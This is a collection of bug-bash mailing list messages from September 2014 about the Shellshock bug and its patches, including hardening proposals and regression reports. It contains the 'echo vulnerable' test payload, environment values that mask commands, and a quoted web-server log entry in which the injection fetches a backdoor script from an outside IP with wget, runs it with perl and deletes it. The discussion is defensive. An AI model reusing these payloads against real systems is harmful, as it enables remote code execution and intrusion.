Re: Issues with exported functions

[Vincent Lefevre]

On 2014-09-25 03:54:19 +0800, lolilolicon wrote:
> I think almost as severe as CVE-2014-6271 is that it's still possible to
> mask commands in a bash script by changing it's environment.
> 
> For example, true='() { false;}' or grep='() { /bin/id;}' ...

Yes, and BTW, I don't think this is POSIX compliant:

  8.1 Environment Variable Definition

  [...] The name space of environment variable names containing
  lowercase letters is reserved for applications. Applications can
  define any environment variables with names from this name space
  without modifying the behavior of the standard utilities.

This means that some application like sudo that needs to clean up
the environment could choose to keep these environment variables
with lowercase letters, and this could have really bad effects if
a bash script is executed.

-- 
Vincent Lefèvre  - Web: 
100% accessible validated (X)HTML - Blog: 
Work: CR INRIA - computer arithmetic / AriC project (LIP, ENS-Lyon)

Re: Bash security issue

[Andreas Schwab]

Eric Blake  writes:

> Overkill.  The security hole arises because the problem, as it currently
> exists, is triggerable by ANY portable environment variable definition.

In the context of security you need to forget about portable.  You need
to think about the improbable.

Andreas.

-- 
Andreas Schwab, sch...@linux-m68k.org
GPG Key fingerprint = 58CA 54C7 6D53 942B 1756  01D3 44D5 214B 8276 4ED5
"And now for something completely different."

Re: Bash security issue

[lolilolicon]

On Fri, Sep 26, 2014 at 6:08 AM, Linda Walsh  wrote:
>
>
> Eric Blake wrote:
>>
>> Where I'm coming from is that in portable shell programming, you _can't_
>> assign a value to f()=...  The fact that portable
>> programs are now "slammed"[sic] with the notion that some values cannot be
>> portably assigned to a variable...
>
> ---
> slammed?  It's not like this is new...

I think it's new to the majority of people.

>
>>> Not much more secure, but ..'ƒ(8-byte-crypto-hex-sig)'
>>
>> Overkill.
>
> ---
> Ya think?
>
> I mean isn't the world held together by duct-tape, bailing-
> wire and bash (or -compat) scripts?  Anyway, it was also meant
> as a "if you really are serious about solving this and don't care
> about the overhead or inconvenience..." illustration of panic-driven
> design.

I sensed that ("ƒ(8-byte-crypto-hex-sig)") was sarcasm. Not cool :(

"panic-driven design" would be bad,
but a wise man once uttered,

   "Just because you're paranoid, don't mean they're not after you."

>
> Eric Blake wrote:
>>
>> It's not backwards compatible, but who cares? only matters
>> if you are mixing old and new bash...
>>  But the old bash behavior is so bad that  people are unlikely to want to
>> have both shells installed.
>
> ---
> Oh come on... "so bad"?
>
> As other have said:
>
>«Geir Hauge wrote: Bash has had this feature since "forever"»
>
>«Pierre Gaston wrote:  How many instance have you found since the
> introduction of this feature more than 20 years ago?»
>
>
>
> This behavior has been around for 20+ without it being judged "so bad",

I don't think that's a sufficient argument for "this is not so bad".

First, the fact that the bug has existed for so long, yet fails to be
discovered [disclosed] until now, is proof that this feature is very
little used and rarely tested, not an argument for "it's not so bad".

Second, this has been a dark corner of bash, a blind spot for most
people, including security people and crackers. Now it's in the
spotlight. And now we are seeing a can of worms crawling out of the
dark.

> so lets not be tempted toward knee-jerk reactions.  That it is now known
> about makes some protections more urgent, but panicking over security fixes
> often results in stupid knee-jerk "fixes"[sic] that only need to be
> re-fixed [fixed] later on.

Just as bad is the decision to introduce a poorly thought out "it would
be nice" feature, get busted 20 years later, and have to fix it trying
to maintain backward-compatibility.

The wisdom from above has taught,

"Unwritten code is debugged code."
"The most productive days was removing 1000 lines of code."

Unfortunately, when a project grows so popular, it gets trapped in its
own past.

> That it is a bug that should be fixed, no argument.
> Your idea of using "f()=" in the ENV is sounds reasonable (though
> not nearly so elegant as using the unicode 'function' symbol, 'ƒ' instead of
> empty parens, in memory (ENV) -- not as to what a user would type.
> The '()' is already overloaded w/meaning, "null set", or "empty array
> assignment", depending on context.

And of course there is no such meaning. It's all in your head.

Re: Bash-4.3 Official Patch 25 Bug 896776 - (CVE-2014-6271)

[Ralf Naegele]

Yes, you are right. It was my error. I've successfully tested now the 
patched bash and it is working now as expected. Thanks for your help!

Regards,
Ralf

On Fri, 26 Sep 2014, Alexandre FERRIEUX - SOFT/LAN wrote:

> Date: Fri, 26 Sep 2014 08:30:41 +0200
> From: Alexandre FERRIEUX - SOFT/LAN 
> To: Ralf Naegele 
> Cc: "Eduardo A. Bustamante López" , bug-bash@gnu.org
> Subject: Re: Bash-4.3 Official Patch 25 Bug 896776 - (CVE-2014-6271)
> 
> On 26/09/2014 08:23, Ralf Naegele wrote:
> > Hello Eduardo,
> > 
> > I haven't installed the patched bash yet. I called it in the source
> > directory after compiling, it with ./bash so I think this should start the
> > patched bash.
> 
> You started ./bash as the parent reading the offending line, but did you also
> modify it so that ./bash appears inside ?
> 
> env x='() { :;}; echo vulnerable' ./bash -c "echo this is a test"
> 
> 
> This is important since the bug occurs in the child, at init time (within
> shell_initialize_variables)
> 
> -Alex
> 

Re: Detecting invocation as /bin/sh ?

[Andreas Schwab]

Alexandre Ferrieux  writes:

> So, what about, in bash's initialization, detecting that we are invoked as
> "/bin/sh",

It already does.  See (bash) Bash POSIX Mode.

Andreas.

-- 
Andreas Schwab, sch...@linux-m68k.org
GPG Key fingerprint = 58CA 54C7 6D53 942B 1756  01D3 44D5 214B 8276 4ED5
"And now for something completely different."

Re: Issues with exported functions

[lolilolicon]

On Fri, Sep 26, 2014 at 3:24 PM, Vincent Lefevre  wrote:
> On 2014-09-25 03:54:19 +0800, lolilolicon wrote:
>> [...] that it's still possible to
>> mask commands in a bash script by changing it's environment.
>>
>> For example, true='() { false;}' or grep='() { /bin/id;}' ...
>
> Yes, and BTW, I don't think this is POSIX compliant:
[...]
> This means that some application like sudo that needs to clean up
> the environment could choose to keep these environment variables
> with lowercase letters, and this could have really bad effects if
> a bash script is executed.

Yes, my opinion is ENV is a bad channel for doing function export.
ENV is a shared space, isn't well-specified, relies entirely on policy
instead of any intrinsic mechanism... it's just fundamentally
unsuitable for too much special interpretation.

version string can cause overflow and affect eip/rip (needs length check in version string)

[Johan Nestaas]

This isn't nearly as important as shellshock or whatever you want to call
it, but I found this while glancing at the source and the latest patch.
It's a funny little bug that I doubt could ever be useful for malicious
reasons, unless you can determine an address to jump to that is comprised
of all hex characters 30-39 (digits) due to the regex check on the version
string, and also if the "attacker" could set a version string.

Still, a bad version string in a configure shouldn't allow someone to jump
to an arbitrary address in memory. Might be a good idea to add a length
check in configure or make.

version I set in configure:
BASHVERS=4.4

(gdb) run
Starting program: ~/bash/bash-4.3/bash

Program received signal SIGSEGV, Segmentation fault.
0x00*343434* in ?? ()
(gdb) bt
#0  0x00343434 in ?? ()
#1  0x73696c6172746c75 in ?? ()
#2  0x006b in ?? ()
#3  0x0007 in ?? ()
#4  0x77ffa250 in ?? ()
#5  0x0020 in ?? ()
#6  0x in ?? ()

(gdb) i r
rax0x70b508 7386376
rbx*0x3434343434343434*   3761688987579986996
rcx0x70b627 7386663
rdx0x0  0
rsi0x70b608 7386632
rdi0x70b621 7386657
rbp*0x3434343434343434*   *0x3434343434343434*
rsp0x7fffdee0   0x7fffdee0
r8 0x0  0
r9 0x2  2
r100x705230 7361072
r110x77762780   140737345103744
r12*0x3434343434343434*   3761688987579986996
r13*0x3434343434343434*   3761688987579986996
r14*0x3434343434343434*   3761688987579986996
r15*0x3434343434343434*   3761688987579986996
rip*0x343434* *0x343434*
eflags 0x10202  [ IF RF ]
cs 0x33 51
ss 0x2b 43
ds 0x0  0
es 0x0  0
fs 0x0  0

vulnerable code:

static void
make_vers_array ()
{
  SHELL_VAR *vv;
  ARRAY *av;
  char *s, d[32], b[INT_STRLEN_BOUND(int) + 1];

  unbind_variable ("BASH_VERSINFO");

  vv = make_new_array_variable ("BASH_VERSINFO");
  av = array_cell (vv);
*  strcpy (d, dist_version);*

There's already a regex check on the version string for [0-9] which is why
you are extremely limited to what you can do, but there should probably be
a length limit to 31 characters, in the configure or makefile or something.

Hope all is well now. I know it's been a busy week :)

Cheers,
Johan Nestaas

First wave attack on Linux/Apache2

[BillyBob Overalls]

Entry from my Linux Apache2 access-log:
1038 "-" "() { :;}; /bin/bash -c \"wget -O /var/tmp/wow1 208.118.61.44/wow1;perl
 /var/tmp/wow1;rm -rf /var/tmp/wow1\""

wow1 is a hacked stealth IRC perl script that will give the hacker shell 
access.  If that script is present in /var/tmp, chances are your hacker is 
still in your box.  If it is not, it does not mean you are safe.

This command (from the log entry above) downloads the script to your system:

wget -O /var/tmp/wow1 208.118.61.44

This one executes it:

perl /var/tmp/wow1

And when it exits, it is deleted.

rm -rf /var/tmp/wow1

THINGS YOU (or your administrator) CAN DO:

Find the user credentials your web server executes as in /etc/passwd and change 
the login shell to /bin/false -- or something that doesn't exist. Then restart 
apache.  If the web server can't invoke a shell, it can't set a variable or 
call /bin/bash to do the hacker's dirty work.

Be advised that this work-around will only patch the hole in your web server.  
Many other exploits are possible.  

Upgrade bash to 4.3.25 immediately, and hide all other shells.  At least one 
version each of sh and csh have been found to have the same vulnerability.  
Don't leave them where a hacker can expect to find them.

Re: Issues with exported functions

[Vincent Lefevre]

In article ,
  lolilolicon  wrote:

> I think almost as severe as CVE-2014-6271 is that it's still possible to
> mask commands in a bash script by changing it's environment.

> For example, true='() { false;}' or grep='() { /bin/id;}' ...

Yes, and BTW, I don't think this is POSIX compliant:

  8.1 Environment Variable Definition

  [...] The name space of environment variable names containing
  lowercase letters is reserved for applications. Applications can
  define any environment variables with names from this name space
  without modifying the behavior of the standard utilities.

This means that some application like sudo that needs to clean up
the environment could choose to keep these environment variables
with lowercase letters, and this could have really bad effects if
a bash script is executed.

-- 
Vincent Lefèvre  - Web: 
100% accessible validated (X)HTML - Blog: 
Work: CR INRIA - computer arithmetic / AriC project (LIP, ENS-Lyon)

Re: Bash-4.3 Official Patch 25

[Greg Wooledge]

On Thu, Sep 25, 2014 at 07:58:56PM -0400, Chet Ramey wrote:
> We used to do that, and part of the code that I removed in patch 25
> supported the original `name()=() {'.  We didn't use that very long; it
> turns out that the Bourne shell (and others, at that time) dumps core on
> malformed environment variable names.  It's why we stuck with shell
> identifiers, though the check for that didn't come in until later.
> 
> I'd be willing to bet that the Bourne shell that still runs on Solaris,
> AIX, HP-UX, and SCO (if anyone still runs that) has this problem.

HP-UX 10.20 (which is from 1994, and was end-of-lifed many years ago)
only has a Bourne shell in /usr/old/bin/sh.  It's not used in normal
operations.  The /bin/sh on HP-UX is basically a stripped-down ksh.

Unfortunately it's a bit tricky to test whether the Bourne shell would
dump core on a malformed environment variable, because /usr/bin/env
refuses to put such a thing into the environment:

imadev:~$ env 'name()=() {' /usr/old/bin/sh -c 'echo hello'
name()=() {: is not an identifier

I'm not in the mood to write a C program to work around that.

While I haven't used AIX in a long time, the versions I used in the
mid-1990s did not have a Bourne shell either.  Almost all the OS vendor
scripts on AIX use ksh anyway.  The whole OS is very ksh-centric.

Re: Detecting invocation as /bin/sh ?

[Greg Wooledge]

On Thu, Sep 25, 2014 at 11:53:18PM -0700, Alexandre Ferrieux wrote:
> Of course, their intention is precisely expressed by the '#!/bin/sh' header

Unfortunately, most people don't actually express an intent when they
use #!/bin/sh.  They just copy some code from a random script they found
somewhere, without understanding what it means.

The number of scripts that use #!/bin/sh but then go on to use Bash
syntax is higher than you might believe.  Whether exported functions are
in that toolset, I couldn't say for sure, but it's likely.  Even in the
#bash channel on IRC we have often advocated constructs like this:

  myfunc() { ...; }
  export -f myfunc
  find . -type f -exec bash -c 'for f; do myfunc "$f"; done' _ {} +

(This is in response to "Why can't I do find -exec myfunc", which is
something of a frequently asked question.)

It's not a stretch of the imagination to suppose that someone has used
exported functions in a #!/bin/sh script on a Linux box where /bin/sh
is a symlink to bash.

Re: Bash-4.3 Official Patch 25

[Eric Blake]

On 09/26/2014 06:05 AM, Greg Wooledge wrote:

> HP-UX 10.20 (which is from 1994, and was end-of-lifed many years ago)
> only has a Bourne shell in /usr/old/bin/sh.  It's not used in normal
> operations.  The /bin/sh on HP-UX is basically a stripped-down ksh.
> 
> Unfortunately it's a bit tricky to test whether the Bourne shell would
> dump core on a malformed environment variable, because /usr/bin/env
> refuses to put such a thing into the environment:
> 
> imadev:~$ env 'name()=() {' /usr/old/bin/sh -c 'echo hello'
> name()=() {: is not an identifier
> 
> I'm not in the mood to write a C program to work around that.

GNU coreutils can be installed on HP-UX, and its 'env' can put such a
thing into the environment.  Or writing such a C program is rather
simple.  But I don't blame you for not worrying about it - it's a museum
system, and we should be worried more about modern systems at this point
in time.

-- 
Eric Blake   eblake redhat com+1-919-301-3266
Libvirt virtualization library http://libvirt.org



signature.asc
Description: OpenPGP digital signature

Re: version string can cause overflow and affect eip/rip (needs length check in version string)

[Andreas Schwab]

Johan Nestaas  writes:

> version I set in configure:
> BASHVERS=4.4
>
> (gdb) run
> Starting program: ~/bash/bash-4.3/bash
>
> Program received signal SIGSEGV, Segmentation fault.

Don't do that then.

Andreas.

-- 
Andreas Schwab, sch...@linux-m68k.org
GPG Key fingerprint = 58CA 54C7 6D53 942B 1756  01D3 44D5 214B 8276 4ED5
"And now for something completely different."

Re: version string can cause overflow and affect eip/rip (needs length check in version string)

[Chet Ramey]

On 9/26/14, 3:13 AM, Johan Nestaas wrote:
> This isn't nearly as important as shellshock or whatever you want to call
> it, but I found this while glancing at the source and the latest patch.
> It's a funny little bug that I doubt could ever be useful for malicious
> reasons, unless you can determine an address to jump to that is comprised
> of all hex characters 30-39 (digits) due to the regex check on the version
> string, and also if the "attacker" could set a version string.
> 
> Still, a bad version string in a configure shouldn't allow someone to jump
> to an arbitrary address in memory. Might be a good idea to add a length
> check in configure or make.

If you want to do this to yourself, why should bash stop you?

Chet

-- 
``The lyf so short, the craft so long to lerne.'' - Chaucer
 ``Ars longa, vita brevis'' - Hippocrates
Chet Ramey, ITS, CWRUc...@case.eduhttp://cnswww.cns.cwru.edu/~chet/

CVE-2014-6271 hardening...

[Stephane Chazelas]

Hi there,

I'm reposting here an opinion piece of mine I sent to Chet and
the various security lists after the patch was made and prior to
the disclosure, for others to comment.

Several things discussed in here:
 - hardening to avoid exposing the parser to untrusted input
 - duplicate env var entries
 - impact of localisation on parsing.


> I am strongly in favor of Florian's suggestion to only interpret 
> variables that are listed in some special BASH_FUNCDEFS variable as 
> functions.

BASH_FUNCDEFS (which contains the names (and names only) of
functions to be exported) would be hardening. It would be
effective as hardening, but I'd argue it would not be the right
fix.

The problem is that the environment is a shared namespace. Those
"foo=() { body;}" variables have a content that is bash
specific, so should have a BASH_ name prefix especially
considering that they can have any name. Those variables are not
like other env vars (HOME, PATH...) that are shared by all
applications, they are just for transfering information from one
bash instance to another bash instance. Those variables are not
useful to anything but bash.

Now, even in bash, having "foo=() {...}" is inconsistent, and
that raises possibly another security concern.

In bash, functions and variables have different name spaces, but
if they have to be exported to the environment, there's a clash.
And bash handles it in a dangerous way:

You can have:

foo=bar
foo() { echo "$foo"; }

That's fine.

Now, if you export the "foo" *function* and if the "foo"
*variable* was already in the environment, bash puts *both* in
the environment:

$ foo=bar bash -c 'foo() { echo "$foo"; }; foo'
bar

fine.

$ foo=bar bash -c 'foo() { echo "$foo"; }; export -f foo; env' | grep foo
foo=bar
foo=() {  echo "$foo"

(two env vars by the same name!).

$ foo=bar bash -c 'foo() { echo "$foo"; }; export -f foo; bash -c foo'
bar

That works here because bash scans its environment and assigns the
one with "() {" to a function and the one with "bar" to a
scalar and bash is directly invoking bash.

However, many other shells (mksh, ksh93, zsh, ash, fish, not (t)csh,
yash) remove duplicate env vars from the environment (nor always
the same depending on the shell), so things like:

foo=bar bash -c 'foo() { echo x; }; export -f foo; sh -c "bash -c foo"'

won't necessarily work (just because "foo" happened to be in the
environment, which "export -f foo" did not overwrite)

It's also arguably dangerous because it allows an attacker to
hide his malicious function behind a scalar variable (though one
might argue that it's not only a bash problem since when the
environment contains "foo=bar" and "foo=baz" which one is picked
seems to depend on what tool queries the environment).
Typically, glibc's getenv will pick the first one.

That would possibly defeat an environment sanitizing wrapper, or
something that logs the content of some variables.

Thankfully, sudo is not fooled here, it will preserve several
instances of the same variable (like DISPLAY, TERM...) but will
remove all the ones that start with "() {".

I think a better fix would be to have all the function
*definitions* in one env var like:

BASH_FUNCDEFS='f(){ echo x;}
g(){ echo y;} > $(date +%H)'

I would not be against bash removing env entries with duplicate
names like most other shells do (or even the glibc do that as I
don't expect it being useful and it sounds to me like an avenue
for more security vulnerabilities).

Another consideration, and that was one of the aggravating
aspects in CVE-2014-0475:

Chet's patch restricts the name of exported functions to the
"legal identifiers". That's required because with:

var=value (where value starts with "() {"), bash runs:

   varvalue

So variables with names like "some code; foo" would cause more
problem.

Now, what bash considers a legal identifier depends on the
locale.

CVE-2014-0475 was a glibc vulnerability giving attackers the
ability to use locale definition files anywhere on the file
systems (so malicious ones as well) with
LC_ALL=../../path/to/it.

The bash behaviour of deciding on /legal/ identifiers (and token
separators!) based on the locale meant one could run arbitrary
code (for instance by defining a locale where space was anything
but "s" and "h" and relying on a command line in ~/.bashrc that
contained something like  blashbli (which happened to be true in
Debian's default .bashrc)).

It might be worth checking that Chet's patch cannot be bypassed
in locales where for instance "(", ")" and ";" are in the
"alpha" character class.

-- 
Stephane

Re: Bash --version issue

[Allodoxaphobia]

On 26 Sep 2014 03:13:57 GMT, Allodoxaphobia wrote:
> On Thu, 25 Sep 2014 23:04:46 -0400, Chet Ramey wrote:
>> On 9/25/14, 9:41 PM, Allodoxaphobia wrote:
>>> Earlier today I performed the `bash` security upgrade on my
>>>  | [userid~]uname -rs
>>>  | FreeBSD 10.0-RELEASE-p9
>>> machine.  I thought to check the version level of `bash` to
>>> see what I now have:
>>
>> I can't reproduce this.  My patched version of bash gives
>>
>> $ ./bash --version
>> GNU bash, version 4.3.26(3)-release (x86_64-apple-darwin13.1.0)
>> Copyright (C) 2013 Free Software Foundation, Inc.
>> License GPLv3+: GNU GPL version 3 or later 
>>
>> This is free software; you are free to change and redistribute it.
>> There is NO WARRANTY, to the extent permitted by law.
>>
>> on Mac OS X.  You might ask the FreeBSD ports folks, since it will
>> probably be a while before I can look at this.
>
> Ya, as is often the case, some packages in the FreeBSD ports 
> seem to be fiddled with by the time they get to the user.
>
> Just recently I had an issue with alpine that-a-way.
> Compiling it from the maintainer's source yielded a copy that 
> did not have the bug I encountered with the ports package.

There was another bash upgrade in the FreeBSD ports this A.M.
Thinking it might resolve my bash --version problem, I applied it.

sigh...

 | [userid~]bash
 | /usr/local/bin/bash: warning: x: ignoring function definition attempt
 | /usr/local/bin/bash: error importing function definition for `x'
 | bash: warning: x: ignoring function definition attempt
 | bash: error importing function definition for `x'
 | [userid@vps ~]$   

My bash scripts run "ok" (well, I hope so...), but they throw that error 
on every invocation at the she-bang.

It's beginning to remind me of a world-domineering software corp.
Jonesy
-- 
  Marvin L Jones| Marvin  | W3DHJ  | linux
   38.238N 104.547W |  @ jonz.net | Jonesy |  OS/2
* Killfiling google & banter.com: jonz.net/ng.htm

Error building bash-3.2.52 downloaded/patched from ftp.gnu.org.

[Kevin Broadey]

Configuration Information [Automatically generated, do not change]:
Machine: i686
OS: linux-gnu
Compiler: gcc
Compilation CFLAGS:  -DPROGRAM='bash' -DCONF_HOSTTYPE='i686'
-DCONF_OSTYPE='linux-gnu' -DCONF_MACHTYPE='i686-pc-linux-gnu'
-DCONF_VENDOR='pc' -DLOCALEDIR='/usr/local/share/locale' -DPACKAGE='b\
ash' -DSHELL -DHAVE_CONFIG_H   -I.  -I. -I./include -I./lib   -g -O2
uname output: Linux c2n2 2.4.21-40.ELsmp #1 SMP Thu Feb 2 22:22:39 EST
2006 i686 i686 i386 GNU/Linux
Machine Type: i686-pc-linux-gnu

Bash Version: 3.2
Patch Level: 52
Release Status: release


I downloaded these files from anonym...@ftp.gnu.org:/pub/gnu/bash:-

bash-3.2.48.tar.gz bash-3.2-patches/bash32-049 bash-3.2-patches/bash32-050
bash-3.2-patches/bash32-051 bash-3.2-patches/bash32-052

I then ran ³tar zxf bash-3.2.48.tar.gz² to unpack the archive and ³patch
­p0 < patchfile² for each of the patch files in turn.
I then ran ³./configure² and ³make² on a RHEL 3.7 system.
I got this error:-


gcc  -DPROGRAM='"bash"' -DCONF_HOSTTYPE='"i686"'
-DCONF_OSTYPE='"linux-gnu"' -DCONF_MACHTYPE='"i686-pc-linux-gnu"'
-DCONF_VENDOR='"pc"' -DLOCALEDIR='"/usr/local/share/locale"'
-DPACKAGE='"bash"' -DSHELL -DHAVE_CONFIG_H   -I.  -I. -I./include -I./lib
 -g -O2 -c y.tab.c
/Users/chet/src/bash/src/parse.y: In function `decode_prompt_string':
/Users/chet/src/bash/src/parse.y:4333: too few arguments to function
`expand_prompt_string'
make: *** [y.tab.o] Error 1
[root@c2n2 bash-3.2.52]# gcc --version
gcc (GCC) 3.2.3 20030502 (Red Hat Linux 3.2.3-54)
Copyright (C) 2002 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.


The patch is as follows:-

$ git diff master~1
diff --git a/y.tab.c b/y.tab.c
index f8db50d..a47a4dd 100644
--- a/y.tab.c
+++ b/y.tab.c
@@ -5660,7 +5660,7 @@ not_escape:
   if (promptvars || posixly_correct)
 {
   last_exit_value = last_command_exit_value;
-  list = expand_prompt_string (result, Q_DOUBLE_QUOTES);
+  list = expand_prompt_string (result, Q_DOUBLE_QUOTES, 0);
   free (result);
   result = string_list (list);
   dispose_words (list);


I¹ve checked parse.y and the call to expand_prompt_string is correct, so
it looks like you¹ve distributed this version without running bison first.
 My machine has bison installed so I¹m not sure why ³make² didn¹t invoke
it.

Best regards
Kevin Broadey

Re: Bash security issue

[Zack Weinberg]

On September 26, 2014 3:53:53 AM EDT, lolilolicon  wrote:
>On Fri, Sep 26, 2014 at 6:08 AM, Linda Walsh  wrote:

>> This behavior has been around for 20+ without it being judged "so
>bad",
>
>I don't think that's a sufficient argument for "this is not so bad".
>
>First, the fact that the bug has existed for so long, yet fails to be
>discovered [disclosed] until now, is proof that this feature is very
>little used and rarely tested, not an argument for "it's not so bad".

The question in my mind is, is exporting functions a POSIX shell feature? If 
not, perhaps it should just be scrapped altogether.

zw

Bash 2.05b patch for 896776 - (CVE-2014-6271) ?

[Jean-Christian de Rivaz]

Hello,

While this can seem completely obsolete, I still have machines running 
bash 2.05b (Debian etch). I worry about upgrading to bash 3.x because of 
some backward compatibility issue.
It there any reason why there was no patch for bash 2.05b ? The test 
command below show that the bug also affect this version:


j$ bash --version
GNU bash, version 2.05b.0(1)-release (i386-pc-linux-gnu)
Copyright (C) 2002 Free Software Foundation, Inc.
j$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
vulnerable
this is a test

Best Regards,

Jean-Christian

REGRESSION: shellshock patch rejects valid function names

[Jay Freeman (saurik)]

Hello! ;P Yesterday, I upgraded to a new version of bash (from Debian), 
intended to fix "shellshock". Today, I'm finding that all of my build scripts 
have stopped working :(. I managed to narrow the breaking change to yesterday's 
patch: the problem is that the names of functions are allowed to contain 
colons, but the new patch refuses to import these exported functions.

The code issue is that the patch uses valid_identifier(name), when 
check_identifier(name, posixly_correct) is what is normally used for function 
names. (In the case of export, the check is "does this function exist", not "is 
this identifier valid".) The means that suddenly only a tiny subset of 
functions all previous version of bash had supported are now exportable :(.

As far as I can tell, the goal is to avoid accidentally executing embedded 
shell that might be in the name of the function? It would seem to me that a 
better way to go about this would be to run the parser on the name and verify 
that what comes back is a single WORD_DESC that can be given to 
check_identifier (but of course, I am nowhere near as versed in the bash code 
as any of you).

Below, I have included a code-oriented explanation of the incompatibility 
between these checks (based on bash 4.2, which is the version I got today from 
Debian; for the record, I had previously been running bash 3.2). I would be 
happy to attempt to help in any other way that seems relevant (such as if a 
maintainer has a general approach they agree with and would like to see 
attempted).

(Regardless, thanks to anyone who chooses to look at this issue, or even just 
read this e-mail ;P.)

>From execute_cmd.c:

   5100 execute_intern_function (name, function)
   5101  WORD_DESC *name;
   5102  COMMAND *function;
   5103 {
   5104   SHELL_VAR *var;
   5105
=> 5106   if (check_identifier (name, posixly_correct) == 0)
   5107 {
   5108   if (posixly_correct && interactive_shell == 0)
   5109 {
   5110   last_command_exit_value = EX_BADUSAGE;
   5111   jump_to_top_level (ERREXIT);
   5112 }
   5113   return (EXECUTION_FAILURE);
   5114 }

In the case where posixly_correct is false, check_identifier will allow colons 
in the identifier names.

224 int
225 check_identifier (word, check_word)
226  WORD_DESC *word;
227  int check_word;
228 {
229   if ((word->flags & (W_HASDOLLAR|W_QUOTED)) || all_digits (word->word))
230 {
231   internal_error (_("`%s': not a valid identifier"), word->word);
232   return (0);
233 }
=>  234   else if (check_word && legal_identifier (word->word) == 0)
235 {
236   internal_error (_("`%s': not a valid identifier"), word->word);
237   return (0);
238 }
239   else
240 return (1);
241 }

>From the new shellshock patch:

350   /* Don't import function names that are invalid identifiers 
from the
351  environment. */
=>  352   if (legal_identifier (name))
353 parse_and_execute (temp_string, name, 
SEVAL_NONINT|SEVAL_NOHIST|SEVAL_FUNCDEF|SEVAL_ONECMD);

This check is thereby incompatible with existing behavior and scripts, and 
leads to situations where both function and export -f are happy, but running 
bash causes a function import error. As mentioned, I do not believe that this 
is required to be secure, so it would seem a shame to break scripts that have 
been functioning without issue for almost a decade.

$ bash --norc
$ function std:echo() { echo "$@"; }
$ std:echo hello world
hello world
$ export -f std:echo
$ printenv | grep std:echo -A 1
std:echo=() {  echo "$@"
}
$ bash --norc
bash: error importing function definition for `std:echo'
$ std:echo hello world
bash: std:echo: command not found

Sincerely,
Jay Freeman (saurik)
sau...@saurik.com

REGRESSION: shellshock patch rejects valid function names

[Jay Freeman (saurik)]

(I am terribly sorry if this e-mail message comes through twice; I normally use 
a third-party SMTP relay service, but it marks my e-mail with various headers, 
including precedence bulk, that I think might have caused my first e-mail to 
have been eaten by your mailing list manager, as I did not see this e-mail 
appear in the archive. I've bypassed that service for this attempt.)

Hello! ;P Yesterday, I upgraded to a new version of bash (from Debian), 
intended to fix "shellshock". Today, I'm finding that all of my build scripts 
have stopped working :(. I managed to narrow the breaking change to yesterday's 
patch: the problem is that the names of functions are allowed to contain 
colons, but the new patch refuses to import these exported functions.

The code issue is that the patch uses valid_identifier(name), when 
check_identifier(name, posixly_correct) is what is normally used for function 
names. (In the case of export, the check is "does this function exist", not "is 
this identifier valid".) The means that suddenly only a tiny subset of 
functions all previous version of bash had supported are now exportable :(.

As far as I can tell, the goal is to avoid accidentally executing embedded 
shell that might be in the name of the function? It would seem to me that a 
better way to go about this would be to run the parser on the name and verify 
that what comes back is a single WORD_DESC that can be given to 
check_identifier (but of course, I am nowhere near as versed in the bash code 
as any of you).

Below, I have included a code-oriented explanation of the incompatibility 
between these checks (based on bash 4.2, which is the version I got today from 
Debian; for the record, I had previously been running bash 3.2). I would be 
happy to attempt to help in any other way that seems relevant (such as if a 
maintainer has a general approach they agree with and would like to see 
attempted).

(Regardless, thanks to anyone who chooses to look at this issue, or even just 
read this e-mail ;P.)

>From execute_cmd.c:

   5100 execute_intern_function (name, function)
   5101  WORD_DESC *name;
   5102  COMMAND *function;
   5103 {
   5104   SHELL_VAR *var;
   5105
=> 5106   if (check_identifier (name, posixly_correct) == 0)
   5107 {
   5108   if (posixly_correct && interactive_shell == 0)
   5109 {
   5110   last_command_exit_value = EX_BADUSAGE;
   5111   jump_to_top_level (ERREXIT);
   5112 }
   5113   return (EXECUTION_FAILURE);
   5114 }

In the case where posixly_correct is false, check_identifier will allow colons 
in the identifier names.

224 int
225 check_identifier (word, check_word)
226  WORD_DESC *word;
227  int check_word;
228 {
229   if ((word->flags & (W_HASDOLLAR|W_QUOTED)) || all_digits (word->word))
230 {
231   internal_error (_("`%s': not a valid identifier"), word->word);
232   return (0);
233 }
=>  234   else if (check_word && legal_identifier (word->word) == 0)
235 {
236   internal_error (_("`%s': not a valid identifier"), word->word);
237   return (0);
238 }
239   else
240 return (1);
241 }

>From the new shellshock patch:

350   /* Don't import function names that are invalid identifiers 
from the
351  environment. */
=>  352   if (legal_identifier (name))
353 parse_and_execute (temp_string, name, 
SEVAL_NONINT|SEVAL_NOHIST|SEVAL_FUNCDEF|SEVAL_ONECMD);

This check is thereby incompatible with existing behavior and scripts, and 
leads to situations where both function and export -f are happy, but running 
bash causes a function import error. As mentioned, I do not believe that this 
is required to be secure, so it would seem a shame to break scripts that have 
been functioning without issue for almost a decade.

$ bash --norc
$ function std:echo() { echo "$@"; }
$ std:echo hello world
hello world
$ export -f std:echo
$ printenv | grep std:echo -A 1
std:echo=() {  echo "$@"
}
$ bash --norc
bash: error importing function definition for `std:echo'
$ std:echo hello world
bash: std:echo: command not found

Sincerely,
Jay Freeman (saurik)
sau...@saurik.com

Re: Bash --version issue

[Chet Ramey]

On 9/26/14, 10:15 AM, Allodoxaphobia wrote:

> There was another bash upgrade in the FreeBSD ports this A.M.
> Thinking it might resolve my bash --version problem, I applied it.
> 
> sigh...
> 
>  | [userid~]bash
>  | /usr/local/bin/bash: warning: x: ignoring function definition attempt
>  | /usr/local/bin/bash: error importing function definition for `x'
>  | bash: warning: x: ignoring function definition attempt
>  | bash: error importing function definition for `x'
>  | [userid@vps ~]$   

OK. What do

type x

and

echo $x

return when you run them in the shell that invokes bash, which then throws
the above error?
-- 
``The lyf so short, the craft so long to lerne.'' - Chaucer
 ``Ars longa, vita brevis'' - Hippocrates
Chet Ramey, ITS, CWRUc...@case.eduhttp://cnswww.cns.cwru.edu/~chet/

Re: Bash security issue

[Eric Blake]

On 09/26/2014 08:22 AM, Zack Weinberg wrote:
> On September 26, 2014 3:53:53 AM EDT, lolilolicon  
> wrote:
>> On Fri, Sep 26, 2014 at 6:08 AM, Linda Walsh  wrote:
> 
>>> This behavior has been around for 20+ without it being judged "so
>> bad",
>>
>> I don't think that's a sufficient argument for "this is not so bad".
>>
>> First, the fact that the bug has existed for so long, yet fails to be
>> discovered [disclosed] until now, is proof that this feature is very
>> little used and rarely tested, not an argument for "it's not so bad".
> 
